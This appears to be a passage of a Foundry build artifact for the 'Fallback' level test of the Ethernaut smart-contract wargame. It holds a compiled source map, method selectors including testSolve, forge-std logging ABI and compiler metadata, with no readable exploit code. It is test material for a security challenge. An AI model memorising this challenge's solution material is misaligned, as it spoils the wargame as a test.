;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1512:137:129;1563:6;;1549:21;;-1:-1:-1;;;1549:21:129;;-1:-1:-1;;;;;1563:6:129;;;1549:21;;;847:74:155;1549:13:129;;;;820:18:155;;1549:21:129;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1612:9:129;;1631:8;;1580:62;;-1:-1:-1;1592:49:129;;-1:-1:-1;;;;;;1612:9:129;;;;1631:8;1592:19;:49::i;:::-;1580:11;:62::i;:::-;1512:137::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;20438:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20411:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19973:184::-;20043:6;20096:2;20084:9;20075:7;20071:23;20067:32;20064:52;;;20112:1;20109;20102:12;20064:52;-1:-1:-1;20135:16:155;;19973:184;-1:-1:-1;19973:184:155:o;20162:125::-;20227:9;;;20248:10;;;20245:36;;;20261:18;;:::i;20474:383::-;20671:2;20660:9;20653:21;20634:4;20697:45;20738:2;20727:9;20723:18;20715:6;20697:45;:::i;:::-;20790:9;20782:6;20778:22;20773:2;20762:9;20758:18;20751:50;20818:33;20844:6;20836;20818:33;:::i;:::-;20810:41;20474:383;-1:-1:-1;;;;;20474:383:155:o;20862:335::-;20941:6;20994:2;20982:9;20973:7;20969:23;20965:32;20962:52;;;21010:1;21007;21000:12;20962:52;21043:9;21037:16;21076:18;21068:6;21065:30;21062:50;;;21108:1;21105;21098:12;21062:50;21131:60;21183:7;21174:6;21163:9;21159:22;21131:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Fallback.t.sol\":\"TestFallback\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKL